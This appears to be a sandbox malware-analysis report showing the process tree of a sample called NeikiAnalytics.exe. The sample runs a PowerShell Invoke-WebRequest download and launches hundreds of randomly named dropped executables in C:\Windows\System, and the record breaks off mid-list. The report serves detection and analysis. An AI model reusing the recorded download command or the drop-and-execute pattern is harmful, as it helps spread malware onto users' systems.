PID 2196 wrote to memory of 2032	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	49
PID 2196 wrote to memory of 2032	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	49
PID 2196 wrote to memory of 2032	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	49
PID 2196 wrote to memory of 1712	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1988
- C:\Windows\System\ZbjVUuZ.exe
  C:\Windows\System\ZbjVUuZ.exe
  2⤵
  - Executes dropped EXE
  PID:2912
- C:\Windows\System\qlDNBds.exe
  C:\Windows\System\qlDNBds.exe
  2⤵
  - Executes dropped EXE
  PID:2056
- C:\Windows\System\oqPnanj.exe
  C:\Windows\System\oqPnanj.exe
  2⤵
  - Executes dropped EXE
  PID:2644
- C:\Windows\System\jXdgtXF.exe
  C:\Windows\System\jXdgtXF.exe
  2⤵
  - Executes dropped EXE
  PID:2800
- C:\Windows\System\YGrWXze.exe
  C:\Windows\System\YGrWXze.exe
  2⤵
  - Executes dropped EXE
  PID:3052
- C:\Windows\System\rEhADBS.exe
  C:\Windows\System\rEhADBS.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\PfAOilF.exe
  C:\Windows\System\PfAOilF.exe
  2⤵
  - Executes dropped EXE
  PID:2780
- C:\Windows\System\QrzmDPD.exe
  C:\Windows\System\QrzmDPD.exe
  2⤵
  - Executes dropped EXE
  PID:2648
- C:\Windows\System\aeAnXus.exe
  C:\Windows\System\aeAnXus.exe
  2⤵
  - Executes dropped EXE
  PID:2216
- C:\Windows\System\IVpiPEw.exe
  C:\Windows\System\IVpiPEw.exe
  2⤵
  - Executes dropped EXE
  PID:2432
- C:\Windows\System\jGUdryO.exe
  C:\Windows\System\jGUdryO.exe
  2⤵
  - Executes dropped EXE
  PID:1992
- C:\Windows\System\bxuDaMf.exe
  C:\Windows\System\bxuDaMf.exe
  2⤵
  - Executes dropped EXE
  PID:2020
- C:\Windows\System\Ttthpcd.exe
  C:\Windows\System\Ttthpcd.exe
  2⤵
  - Executes dropped EXE
  PID:2652
- C:\Windows\System\lmWvEMh.exe
  C:\Windows\System\lmWvEMh.exe
  2⤵
  - Executes dropped EXE
  PID:2724
- C:\Windows\System\upXxCSQ.exe
  C:\Windows\System\upXxCSQ.exe
  2⤵
  - Executes dropped EXE
  PID:2764
- C:\Windows\System\tOhXRXG.exe
  C:\Windows\System\tOhXRXG.exe
  2⤵
  - Executes dropped EXE
  PID:2872
- C:\Windows\System\hrOrvVy.exe
  C:\Windows\System\hrOrvVy.exe
  2⤵
  - Executes dropped EXE
  PID:2876
- C:\Windows\System\XJlJGjw.exe
  C:\Windows\System\XJlJGjw.exe
  2⤵
  - Executes dropped EXE
  PID:2024
- C:\Windows\System\orcqdNM.exe
  C:\Windows\System\orcqdNM.exe
  2⤵
  - Executes dropped EXE
  PID:1892
- C:\Windows\System\sVlEKqi.exe
  C:\Windows\System\sVlEKqi.exe
  2⤵
  - Executes dropped EXE
  PID:2032
- C:\Windows\System\NHOagtA.exe
  C:\Windows\System\NHOagtA.exe
  2⤵
  - Executes dropped EXE
  PID:1712
- C:\Windows\System\FXeGMWz.exe
  C:\Windows\System\FXeGMWz.exe
  2⤵
  - Executes dropped EXE
  PID:760
- C:\Windows\System\ctTlBTL.exe
  C:\Windows\System\ctTlBTL.exe
  2⤵
  - Executes dropped EXE
  PID:540
- C:\Windows\System\knphYUI.exe
  C:\Windows\System\knphYUI.exe
  2⤵
  - Executes dropped EXE
  PID:580
- C:\Windows\System\OJSgNvv.exe
  C:\Windows\System\OJSgNvv.exe
  2⤵
  - Executes dropped EXE
  PID:1484
- C:\Windows\System\pMwgVcC.exe
  C:\Windows\System\pMwgVcC.exe
  2⤵
  - Executes dropped EXE
  PID:1900
- C:\Windows\System\bUWXjwp.exe
  C:\Windows\System\bUWXjwp.exe
  2⤵
  - Executes dropped EXE
  PID:592
- C:\Windows\System\DjaYAgi.exe
  C:\Windows\System\DjaYAgi.exe
  2⤵
  - Executes dropped EXE
  PID:2952
- C:\Windows\System\SaFDjgl.exe
  C:\Windows\System\SaFDjgl.exe
  2⤵
  - Executes dropped EXE
  PID:1668
- C:\Windows\System\eyLkAER.exe
  C:\Windows\System\eyLkAER.exe
  2⤵
  - Executes dropped EXE
  PID:1760
- C:\Windows\System\BiJRbmS.exe
  C:\Windows\System\BiJRbmS.exe
  2⤵
  - Executes dropped EXE
  PID:2592
- C:\Windows\System\avswKDF.exe
  C:\Windows\System\avswKDF.exe
  2⤵
  PID:2296
- C:\Windows\System\KLniVso.exe
  C:\Windows\System\KLniVso.exe
  2⤵
  - Executes dropped EXE
  PID:2052
- C:\Windows\System\XaCWnCS.exe
  C:\Windows\System\XaCWnCS.exe
  2⤵
  PID:1524
- C:\Windows\System\BzmmIQu.exe
  C:\Windows\System\BzmmIQu.exe
  2⤵
  - Executes dropped EXE
  PID:452
- C:\Windows\System\FgpoGMU.exe
  C:\Windows\System\FgpoGMU.exe
  2⤵
  PID:1780
- C:\Windows\System\obLmoJB.exe
  C:\Windows\System\obLmoJB.exe
  2⤵
  - Executes dropped EXE
  PID:2060
- C:\Windows\System\zYncPZF.exe
  C:\Windows\System\zYncPZF.exe
  2⤵
  PID:1604
- C:\Windows\System\CHCuhIr.exe
  C:\Windows\System\CHCuhIr.exe
  2⤵
  - Executes dropped EXE
  PID:1740
- C:\Windows\System\sumkrDR.exe
  C:\Windows\System\sumkrDR.exe
  2⤵
  PID:1944
- C:\Windows\System\rZdrIcm.exe
  C:\Windows\System\rZdrIcm.exe
  2⤵
  - Executes dropped EXE
  PID:1912
- C:\Windows\System\OyjLIyp.exe
  C:\Windows\System\OyjLIyp.exe
  2⤵
  PID:2148
- C:\Windows\System\mfvJWws.exe
  C:\Windows\System\mfvJWws.exe
  2⤵
  - Executes dropped EXE
  PID:308
- C:\Windows\System\PAdhZdm.exe
  C:\Windows\System\PAdhZdm.exe
  2⤵
  PID:988
- C:\Windows\System\cAvLCya.exe
  C:\Windows\System\cAvLCya.exe
  2⤵
  - Executes dropped EXE
  PID:872
- C:\Windows\System\gqVQYVe.exe
  C:\Windows\System\gqVQYVe.exe
  2⤵
  PID:1964
- C:\Windows\System\DxsDrzn.exe
  C:\Windows\System\DxsDrzn.exe
  2⤵
  - Executes dropped EXE
  PID:2324
- C:\Windows\System\hSJLbsM.exe
  C:\Windows\System\hSJLbsM.exe
  2⤵
  PID:2836
- C:\Windows\System\kJhXqhz.exe
  C:\Windows\System\kJhXqhz.exe
  2⤵
  - Executes dropped EXE
  PID:1588
- C:\Windows\System\zMiYgKM.exe
  C:\Windows\System\zMiYgKM.exe
  2⤵
  PID:2960
- C:\Windows\System\AfLgoKE.exe
  C:\Windows\System\AfLgoKE.exe
  2⤵
  - Executes dropped EXE
  PID:2504
- C:\Windows\System\kodByRp.exe
  C:\Windows\System\kodByRp.exe
  2⤵
  PID:2668
- C:\Windows\System\vwMeMvs.exe
  C:\Windows\System\vwMeMvs.exe
  2⤵
  - Executes dropped EXE
  PID:2416
- C:\Windows\System\TwHhWzk.exe
  C:\Windows\System\TwHhWzk.exe
  2⤵
  PID:1056
- C:\Windows\System\NiUiHPY.exe
  C:\Windows\System\NiUiHPY.exe
  2⤵
  - Executes dropped EXE
  PID:2620
- C:\Windows\System\uvrkryn.exe
  C:\Windows\System\uvrkryn.exe
  2⤵
  PID:2736
- C:\Windows\System\GmYMnAu.exe
  C:\Windows\System\GmYMnAu.exe
  2⤵
  - Executes dropped EXE
  PID:2072
- C:\Windows\System\PnGXAJS.exe
  C:\Windows\System\PnGXAJS.exe
  2⤵
  PID:2776
- C:\Windows\System\fkWOUsu.exe
  C:\Windows\System\fkWOUsu.exe
  2⤵
  - Executes dropped EXE
  PID:2000
- C:\Windows\System\qMiKofZ.exe
  C:\Windows\System\qMiKofZ.exe
  2⤵
  PID:544
- C:\Windows\System\xCVGjkM.exe
  C:\Windows\System\xCVGjkM.exe
  2⤵
  - Executes dropped EXE
  PID:2204
- C:\Windows\System\qiSkyWp.exe
  C:\Windows\System\qiSkyWp.exe
  2⤵
  PID:2824
- C:\Windows\System\iUdymdW.exe
  C:\Windows\System\iUdymdW.exe
  2⤵
  - Executes dropped EXE
  PID:1716
- C:\Windows\System\riaLPAM.exe
  C:\Windows\System\riaLPAM.exe
  2⤵
  PID:832
- C:\Windows\System\WDhuzyc.exe
  C:\Windows\System\WDhuzyc.exe
  2⤵
  - Executes dropped EXE
  PID:1564
- C:\Windows\System\SvXIthc.exe
  C:\Windows\System\SvXIthc.exe
  2⤵
  PID:2660
- C:\Windows\System\HpqyRTg.exe
  C:\Windows\System\HpqyRTg.exe
  2⤵
  - Executes dropped EXE
  PID:2916
- C:\Windows\System\RGsMnlJ.exe
  C:\Windows\System\RGsMnlJ.exe
  2⤵
  PID:2784
- C:\Windows\System\oJLesTr.exe
  C:\Windows\System\oJLesTr.exe
  2⤵
  - Executes dropped EXE
  PID:1064
- C:\Windows\System\mEgnkJZ.exe
  C:\Windows\System\mEgnkJZ.exe
  2⤵
  PID:2312
- C:\Windows\System\EKyfMnQ.exe
  C:\Windows\System\EKyfMnQ.exe
  2⤵
  - Executes dropped EXE
  PID:2476
- C:\Windows\System\vrtUEph.exe
  C:\Windows\System\vrtUEph.exe
  2⤵
  PID:2412
- C:\Windows\System\YMdcTEy.exe
  C:\Windows\System\YMdcTEy.exe
  2⤵
  - Executes dropped EXE
  PID:2460
- C:\Windows\System\lmzVmCe.exe
  C:\Windows\System\lmzVmCe.exe
  2⤵
  PID:2524
- C:\Windows\System\iwCJsiw.exe
  C:\Windows\System\iwCJsiw.exe
  2⤵
  - Executes dropped EXE
  PID:1612
- C:\Windows\System\gDNtNlC.exe
  C:\Windows\System\gDNtNlC.exe
  2⤵
  PID:804
- C:\Windows\System\KbmZmWW.exe
  C:\Windows\System\KbmZmWW.exe
  2⤵
  - Executes dropped EXE
  PID:1400
- C:\Windows\System\zzYGSxx.exe
  C:\Windows\System\zzYGSxx.exe
  2⤵
  PID:2728
- C:\Windows\System\IkOJafx.exe
  C:\Windows\System\IkOJafx.exe
  2⤵
  - Executes dropped EXE
  PID:324
- C:\Windows\System\OTUAVjX.exe
  C:\Windows\System\OTUAVjX.exe
  2⤵
  PID:2400
- C:\Windows\System\vJEAETE.exe
  C:\Windows\System\vJEAETE.exe
  2⤵
  - Executes dropped EXE
  PID:892
- C:\Windows\System\NOCdcdZ.exe
  C:\Windows\System\NOCdcdZ.exe
  2⤵
  PID:2488
- C:\Windows\System\iyJtYVn.exe
  C:\Windows\System\iyJtYVn.exe
  2⤵
  - Executes dropped EXE
  PID:2440
- C:\Windows\System\ADufprD.exe
  C:\Windows\System\ADufprD.exe
  2⤵
  PID:576
- C:\Windows\System\CTDaZSt.exe
  C:\Windows\System\CTDaZSt.exe
  2⤵
  - Executes dropped EXE
  PID:3088
- C:\Windows\System\UwRSUMV.exe
  C:\Windows\System\UwRSUMV.exe
  2⤵
  PID:3104
- C:\Windows\System\ZjlwiMW.exe
  C:\Windows\System\ZjlwiMW.exe
  2⤵
  - Executes dropped EXE
  PID:3120
- C:\Windows\System\hlqwyUb.exe
  C:\Windows\System\hlqwyUb.exe
  2⤵
  PID:3144
- C:\Windows\System\saYzAAM.exe
  C:\Windows\System\saYzAAM.exe
  2⤵
  - Executes dropped EXE
  PID:3160
- C:\Windows\System\YzZRytW.exe
  C:\Windows\System\YzZRytW.exe
  2⤵
  PID:3176
- C:\Windows\System\hJrlmed.exe
  C:\Windows\System\hJrlmed.exe
  2⤵
  - Executes dropped EXE
  PID:3192
- C:\Windows\System\NPhNCYr.exe
  C:\Windows\System\NPhNCYr.exe
  2⤵
  PID:3208
- C:\Windows\System\rVYYtwY.exe
  C:\Windows\System\rVYYtwY.exe
  2⤵
  - Executes dropped EXE
  PID:3224
- C:\Windows\System\ABKpQUh.exe
  C:\Windows\System\ABKpQUh.exe
  2⤵
  PID:3240
- C:\Windows\System\LzsmetE.exe
  C:\Windows\System\LzsmetE.exe
  2⤵
  - Executes dropped EXE
  PID:3256
- C:\Windows\System\MNQlrYz.exe
  C:\Windows\System\MNQlrYz.exe
  2⤵
  PID:3280
- C:\Windows\System\Vguxyye.exe
  C:\Windows\System\Vguxyye.exe
  2⤵
  - Executes dropped EXE
  PID:3316
- C:\Windows\System\VaweDxq.exe
  C:\Windows\System\VaweDxq.exe
  2⤵
  PID:3340
- C:\Windows\System\WQYyyrm.exe
  C:\Windows\System\WQYyyrm.exe
  2⤵
  PID:3356
- C:\Windows\System\IwqrSvf.exe
  C:\Windows\System\IwqrSvf.exe
  2⤵
  PID:3392
- C:\Windows\System\YGXsuyg.exe
  C:\Windows\System\YGXsuyg.exe
  2⤵
  PID:3408
- C:\Windows\System\LFcuDbO.exe
  C:\Windows\System\LFcuDbO.exe
  2⤵
  PID:3424
- C:\Windows\System\upEgbOb.exe
  C:\Windows\System\upEgbOb.exe
  2⤵
  PID:3440
- C:\Windows\System\dcLvHLe.exe
  C:\Windows\System\dcLvHLe.exe
  2⤵
  PID:3464
- C:\Windows\System\IGCGMiB.exe
  C:\Windows\System\IGCGMiB.exe
  2⤵
  PID:3480
- C:\Windows\System\iHlIEdh.exe
  C:\Windows\System\iHlIEdh.exe
  2⤵
  PID:3504
- C:\Windows\System\dJBcRIY.exe
  C:\Windows\System\dJBcRIY.exe
  2⤵
  PID:3548
- C:\Windows\System\vFiBBBG.exe
  C:\Windows\System\vFiBBBG.exe
  2⤵
  PID:3592
- C:\Windows\System\NXGfSof.exe
  C:\Windows\System\NXGfSof.exe
  2⤵
  PID:3608
- C:\Windows\System\lhjhJWn.exe
  C:\Windows\System\lhjhJWn.exe
  2⤵
  PID:3624
- C:\Windows\System\ylNyxaK.exe
  C:\Windows\System\ylNyxaK.exe
  2⤵
  PID:3640
- C:\Windows\System\uXdiVoL.exe
  C:\Windows\System\uXdiVoL.exe
  2⤵
  PID:3656
- C:\Windows\System\iIAnupD.exe
  C:\Windows\System\iIAnupD.exe
  2⤵
  PID:3672
- C:\Windows\System\iDCdwHA.exe
  C:\Windows\System\iDCdwHA.exe
  2⤵
  PID:3688
- C:\Windows\System\AwhbNJM.exe
  C:\Windows\System\AwhbNJM.exe
  2⤵
  PID:3704
- C:\Windows\System\ZnrvPkw.exe
  C:\Windows\System\ZnrvPkw.exe
  2⤵
  PID:3720
- C:\Windows\System\gopQqJH.exe
  C:\Windows\System\gopQqJH.exe
  2⤵
  PID:3736
- C:\Windows\System\OGwAIXE.exe
  C:\Windows\System\OGwAIXE.exe
  2⤵
  PID:3756
- C:\Windows\System\NqGqDfj.exe
  C:\Windows\System\NqGqDfj.exe
  2⤵
  PID:3772
- C:\Windows\System\JzeEENK.exe
  C:\Windows\System\JzeEENK.exe
  2⤵
  PID:3788
- C:\Windows\System\bWqoONr.exe
  C:\Windows\System\bWqoONr.exe
  2⤵
  PID:3828
- C:\Windows\System\STgDBeM.exe
  C:\Windows\System\STgDBeM.exe
  2⤵
  PID:3864
- C:\Windows\System\ZAQKADo.exe
  C:\Windows\System\ZAQKADo.exe
  2⤵
  PID:3880
- C:\Windows\System\fXYIDWg.exe
  C:\Windows\System\fXYIDWg.exe
  2⤵
  PID:3896
- C:\Windows\System\ErrjQMK.exe
  C:\Windows\System\ErrjQMK.exe
  2⤵
  PID:3912
- C:\Windows\System\nUsOTeW.exe
  C:\Windows\System\nUsOTeW.exe
  2⤵
  PID:3928
- C:\Windows\System\NFOGeiY.exe
  C:\Windows\System\NFOGeiY.exe
  2⤵
  PID:3944
- C:\Windows\System\igHmtNs.exe
  C:\Windows\System\igHmtNs.exe
  2⤵
  PID:3960
- C:\Windows\System\KieFbat.exe
  C:\Windows\System\KieFbat.exe
  2⤵
  PID:3976
- C:\Windows\System\uSXkoeY.exe
  C:\Windows\System\uSXkoeY.exe
  2⤵
  PID:3992
- C:\Windows\System\uAPujYw.exe
  C:\Windows\System\uAPujYw.exe
  2⤵
  PID:4008
- C:\Windows\System\OzOPKFW.exe
  C:\Windows\System\OzOPKFW.exe
  2⤵
  PID:4024
- C:\Windows\System\koQmLAD.exe
  C:\Windows\System\koQmLAD.exe
  2⤵
  PID:4040
- C:\Windows\System\jSXpeFJ.exe
  C:\Windows\System\jSXpeFJ.exe
  2⤵
  PID:4056
- C:\Windows\System\nvzTJQp.exe
  C:\Windows\System\nvzTJQp.exe
  2⤵
  PID:4072
- C:\Windows\System\OzZXTtS.exe
  C:\Windows\System\OzZXTtS.exe
  2⤵
  PID:4088
- C:\Windows\System\rAionSV.exe
  C:\Windows\System\rAionSV.exe
  2⤵
  PID:3128
- C:\Windows\System\xWCUHhc.exe
  C:\Windows\System\xWCUHhc.exe
  2⤵
  PID:3140
- C:\Windows\System\JuNlLum.exe
  C:\Windows\System\JuNlLum.exe
  2⤵
  PID:3204
- C:\Windows\System\EySPEZt.exe
  C:\Windows\System\EySPEZt.exe
  2⤵
  PID:3268
- C:\Windows\System\mnQViSf.exe
  C:\Windows\System\mnQViSf.exe
  2⤵
  PID:2940
- C:\Windows\System\ihFYzNb.exe
  C:\Windows\System\ihFYzNb.exe
  2⤵
  PID:3368
- C:\Windows\System\dMxALwC.exe
  C:\Windows\System\dMxALwC.exe
  2⤵
  PID:3448
- C:\Windows\System\IxMlATI.exe
  C:\Windows\System\IxMlATI.exe
  2⤵
  PID:3560
- C:\Windows\System\mZxcudG.exe
  C:\Windows\System\mZxcudG.exe
  2⤵
  PID:3620
- C:\Windows\System\HuxTftp.exe
  C:\Windows\System\HuxTftp.exe
  2⤵
  PID:3684
- C:\Windows\System\lZeHkje.exe
  C:\Windows\System\lZeHkje.exe
  2⤵
  PID:3748
- C:\Windows\System\irKswwQ.exe
  C:\Windows\System\irKswwQ.exe
  2⤵
  PID:3844
- C:\Windows\System\HGBLnVx.exe
  C:\Windows\System\HGBLnVx.exe
  2⤵
  PID:3860
- C:\Windows\System\VfklUJn.exe
  C:\Windows\System\VfklUJn.exe
  2⤵
  PID:3952
- C:\Windows\System\RfPxLIa.exe
  C:\Windows\System\RfPxLIa.exe
  2⤵
  PID:4016
- C:\Windows\System\enUEqCp.exe
  C:\Windows\System\enUEqCp.exe
  2⤵
  PID:4080
- C:\Windows\System\sYuEkRj.exe
  C:\Windows\System\sYuEkRj.exe
  2⤵
  PID:1896
- C:\Windows\System\QOMHkEx.exe
  C:\Windows\System\QOMHkEx.exe
  2⤵
  PID:3264
- C:\Windows\System\DCyYXTs.exe
  C:\Windows\System\DCyYXTs.exe
  2⤵
  PID:4100
- C:\Windows\System\RYXMpKm.exe
  C:\Windows\System\RYXMpKm.exe
  2⤵
  PID:4116
- C:\Windows\System\AgsFtPC.exe
  C:\Windows\System\AgsFtPC.exe
  2⤵
  PID:4148
- C:\Windows\System\ASkdxoP.exe
  C:\Windows\System\ASkdxoP.exe
  2⤵
  PID:4164
- C:\Windows\System\jRbtsII.exe
  C:\Windows\System\jRbtsII.exe
  2⤵
  PID:4180
- C:\Windows\System\HXCqtqf.exe
  C:\Windows\System\HXCqtqf.exe
  2⤵
  PID:4196
- C:\Windows\System\CARIEgt.exe
  C:\Windows\System\CARIEgt.exe
  2⤵
  PID:4212
- C:\Windows\System\fKvbJhx.exe
  C:\Windows\System\fKvbJhx.exe
  2⤵
  PID:4248
- C:\Windows\System\akcqvnm.exe
  C:\Windows\System\akcqvnm.exe
  2⤵
  PID:4272
- C:\Windows\System\aZCSjBq.exe
  C:\Windows\System\aZCSjBq.exe
  2⤵
  PID:4292
- C:\Windows\System\YVkzOAu.exe
  C:\Windows\System\YVkzOAu.exe
  2⤵
  PID:4308
- C:\Windows\System\SjkbzQV.exe
  C:\Windows\System\SjkbzQV.exe
  2⤵
  PID:4324
- C:\Windows\System\VlAJUDE.exe
  C:\Windows\System\VlAJUDE.exe
  2⤵
  PID:4340
- C:\Windows\System\mZhuZln.exe
  C:\Windows\System\mZhuZln.exe
  2⤵
  PID:4356
- C:\Windows\System\SIiPQQY.exe
  C:\Windows\System\SIiPQQY.exe
  2⤵
  PID:4376
- C:\Windows\System\nCxqyRY.exe
  C:\Windows\System\nCxqyRY.exe
  2⤵
  PID:4392
- C:\Windows\System\kWlGFif.exe
  C:\Windows\System\kWlGFif.exe
  2⤵
  PID:4408
- C:\Windows\System\qTTsQha.exe
  C:\Windows\System\qTTsQha.exe
  2⤵
  PID:4424
- C:\Windows\System\DdbgNqM.exe
  C:\Windows\System\DdbgNqM.exe
  2⤵
  PID:4440
- C:\Windows\System\bCHwbyG.exe
  C:\Windows\System\bCHwbyG.exe
  2⤵
  PID:4456
- C:\Windows\System\kOdwkVe.exe
  C:\Windows\System\kOdwkVe.exe
  2⤵
  PID:4472
- C:\Windows\System\AcNycFu.exe
  C:\Windows\System\AcNycFu.exe
  2⤵
  PID:4492
- C:\Windows\System\fIPGVNY.exe
  C:\Windows\System\fIPGVNY.exe
  2⤵
  PID:4524
- C:\Windows\System\Gdfzbus.exe
  C:\Windows\System\Gdfzbus.exe
  2⤵
  PID:4540
- C:\Windows\System\FEBiYNK.exe
  C:\Windows\System\FEBiYNK.exe
  2⤵
  PID:4564
- C:\Windows\System\ogVgYHg.exe
  C:\Windows\System\ogVgYHg.exe
  2⤵
  PID:4580
- C:\Windows\System\VjgXxgk.exe
  C:\Windows\System\VjgXxgk.exe
  2⤵
  PID:4596
- C:\Windows\System\UKAKGjh.exe
  C:\Windows\System\UKAKGjh.exe
  2⤵
  PID:4612
- C:\Windows\System\wdIhkvY.exe
  C:\Windows\System\wdIhkvY.exe
  2⤵
  PID:4628
- C:\Windows\System\AvroDVf.exe
  C:\Windows\System\AvroDVf.exe
  2⤵
  PID:4644
- C:\Windows\System\KfbvVly.exe
  C:\Windows\System\KfbvVly.exe
  2⤵
  PID:4660
- C:\Windows\System\qJHXZSZ.exe
  C:\Windows\System\qJHXZSZ.exe
  2⤵
  PID:4676
- C:\Windows\System\LxnrCsN.exe
  C:\Windows\System\LxnrCsN.exe
  2⤵
  PID:4692
- C:\Windows\System\GHqUttX.exe
  C:\Windows\System\GHqUttX.exe
  2⤵
  PID:4708
- C:\Windows\System\AgdFrRj.exe
  C:\Windows\System\AgdFrRj.exe
  2⤵
  PID:4724
- C:\Windows\System\XbWTYZE.exe
  C:\Windows\System\XbWTYZE.exe
  2⤵
  PID:4740
- C:\Windows\System\fAuQbry.exe
  C:\Windows\System\fAuQbry.exe
  2⤵
  PID:4760
- C:\Windows\System\wuJSIsC.exe
  C:\Windows\System\wuJSIsC.exe
  2⤵
  PID:4784
- C:\Windows\System\pynGSau.exe
  C:\Windows\System\pynGSau.exe
  2⤵
  PID:4800
- C:\Windows\System\xoNtFxO.exe
  C:\Windows\System\xoNtFxO.exe
  2⤵
  PID:4816
- C:\Windows\System\MWCCDXv.exe
  C:\Windows\System\MWCCDXv.exe
  2⤵
  PID:4832
- C:\Windows\System\ERYMdyM.exe
  C:\Windows\System\ERYMdyM.exe
  2⤵
  PID:4848
- C:\Windows\System\suxjUrH.exe
  C:\Windows\System\suxjUrH.exe
  2⤵
  PID:4864
- C:\Windows\System\vtFdoRK.exe
  C:\Windows\System\vtFdoRK.exe
  2⤵
  PID:4880
- C:\Windows\System\UCftHNH.exe
  C:\Windows\System\UCftHNH.exe
  2⤵
  PID:4896
- C:\Windows\System\pXpWBWO.exe
  C:\Windows\System\pXpWBWO.exe
  2⤵
  PID:4924
- C:\Windows\System\tWibcMN.exe
  C:\Windows\System\tWibcMN.exe
  2⤵
  PID:4948
- C:\Windows\System\yRztpWs.exe
  C:\Windows\System\yRztpWs.exe
  2⤵
  PID:4964
- C:\Windows\System\gvyalRL.exe
  C:\Windows\System\gvyalRL.exe
  2⤵
  PID:4980
- C:\Windows\System\hXyvrUG.exe
  C:\Windows\System\hXyvrUG.exe
  2⤵
  PID:4996
- C:\Windows\System\xcHSTUb.exe
  C:\Windows\System\xcHSTUb.exe
  2⤵
  PID:5012
- C:\Windows\System\sxZdhJi.exe
  C:\Windows\System\sxZdhJi.exe
  2⤵
  PID:5032
- C:\Windows\System\EGzdUBZ.exe
  C:\Windows\System\EGzdUBZ.exe
  2⤵
  PID:5052
- C:\Windows\System\dJpnxeU.exe
  C:\Windows\System\dJpnxeU.exe
  2⤵
  PID:5068
- C:\Windows\System\YipaMXq.exe
  C:\Windows\System\YipaMXq.exe
  2⤵
  PID:5084
- C:\Windows\System\tWNRYGg.exe
  C:\Windows\System\tWNRYGg.exe
  2⤵
  PID:5100
- C:\Windows\System\ILkfibY.exe
  C:\Windows\System\ILkfibY.exe
  2⤵
  PID:5116
- C:\Windows\System\iIRNXEX.exe
  C:\Windows\System\iIRNXEX.exe
  2⤵
  PID:3500
- C:\Windows\System\MxoMgWE.exe
  C:\Windows\System\MxoMgWE.exe
  2⤵
  PID:3784
- C:\Windows\System\cUVqgPn.exe
  C:\Windows\System\cUVqgPn.exe
  2⤵
  PID:4052
- C:\Windows\System\KYYpogX.exe
  C:\Windows\System\KYYpogX.exe
  2⤵
  PID:4112
- C:\Windows\System\LYzswmW.exe
  C:\Windows\System\LYzswmW.exe
  2⤵
  PID:2732
- C:\Windows\System\CczlXCa.exe
  C:\Windows\System\CczlXCa.exe
  2⤵
  PID:2936
- C:\Windows\System\gJvSQIr.exe
  C:\Windows\System\gJvSQIr.exe
  2⤵
  PID:1352
- C:\Windows\System\NqSnphT.exe
  C:\Windows\System\NqSnphT.exe
  2⤵
  PID:5136
- C:\Windows\System\XYgdXJm.exe
  C:\Windows\System\XYgdXJm.exe
  2⤵
  PID:5152
- C:\Windows\System\CiOzLnn.exe
  C:\Windows\System\CiOzLnn.exe
  2⤵
  PID:5168
- C:\Windows\System\PUNjOrh.exe
  C:\Windows\System\PUNjOrh.exe
  2⤵
  PID:5184
- C:\Windows\System\BQgjPPJ.exe
  C:\Windows\System\BQgjPPJ.exe
  2⤵
  PID:5208
- C:\Windows\System\JhUxKWn.exe
  C:\Windows\System\JhUxKWn.exe
  2⤵
  PID:5224
- C:\Windows\System\ZlDUWtg.exe
  C:\Windows\System\ZlDUWtg.exe
  2⤵
  PID:5240
- C:\Windows\System\VifMhDr.exe
  C:\Windows\System\VifMhDr.exe
  2⤵
  PID:5256
- C:\Windows\System\nYBSyVI.exe
  C:\Windows\System\nYBSyVI.exe
  2⤵
  PID:5272
- C:\Windows\System\xotiwbf.exe
  C:\Windows\System\xotiwbf.exe
  2⤵
  PID:5288
- C:\Windows\System\QnzyoMf.exe
  C:\Windows\System\QnzyoMf.exe
  2⤵
  PID:5304
- C:\Windows\System\GPYLLWV.exe
  C:\Windows\System\GPYLLWV.exe
  2⤵
  PID:5320
- C:\Windows\System\djsMCHS.exe
  C:\Windows\System\djsMCHS.exe
  2⤵
  PID:5336
- C:\Windows\System\gfVBuVb.exe
  C:\Windows\System\gfVBuVb.exe
  2⤵
  PID:5352
- C:\Windows\System\jhOnBVV.exe
  C:\Windows\System\jhOnBVV.exe
  2⤵
  PID:5368
- C:\Windows\System\XOCAuPm.exe
  C:\Windows\System\XOCAuPm.exe
  2⤵
  PID:5384
- C:\Windows\System\DzuSDhl.exe
  C:\Windows\System\DzuSDhl.exe
  2⤵
  PID:5400
- C:\Windows\System\enHlnMP.exe
  C:\Windows\System\enHlnMP.exe
  2⤵
  PID:5416
- C:\Windows\System\gHJtJWz.exe
  C:\Windows\System\gHJtJWz.exe
  2⤵
  PID:5432
- C:\Windows\System\odrSNiJ.exe
  C:\Windows\System\odrSNiJ.exe
  2⤵
  PID:5448
- C:\Windows\System\oxxdaEv.exe
  C:\Windows\System\oxxdaEv.exe
  2⤵
  PID:5464
- C:\Windows\System\ZZLebtv.exe
  C:\Windows\System\ZZLebtv.exe
  2⤵
  PID:5480
- C:\Windows\System\SzIspce.exe
  C:\Windows\System\SzIspce.exe
  2⤵
  PID:5496
- C:\Windows\System\KWFRjab.exe
  C:\Windows\System\KWFRjab.exe
  2⤵
  PID:5528
- C:\Windows\System\mwKyasY.exe
  C:\Windows\System\mwKyasY.exe
  2⤵
  PID:5572
- C:\Windows\System\xqmXpNd.exe
  C:\Windows\System\xqmXpNd.exe
  2⤵
  PID:5588
- C:\Windows\System\eynCjyh.exe
  C:\Windows\System\eynCjyh.exe
  2⤵
  PID:5604
- C:\Windows\System\gAbfQiv.exe
  C:\Windows\System\gAbfQiv.exe
  2⤵
  PID:5620
- C:\Windows\System\tBIuhvl.exe
  C:\Windows\System\tBIuhvl.exe
  2⤵
  PID:5636
- C:\Windows\System\wOMdYwM.exe
  C:\Windows\System\wOMdYwM.exe
  2⤵
  PID:5652
- C:\Windows\System\DhsdtyS.exe
  C:\Windows\System\DhsdtyS.exe
  2⤵
  PID:5668
- C:\Windows\System\FAITaDV.exe
  C:\Windows\System\FAITaDV.exe
  2⤵
  PID:5684
- C:\Windows\System\BJHQeTh.exe
  C:\Windows\System\BJHQeTh.exe
  2⤵
  PID:5700
- C:\Windows\System\HabLjvA.exe
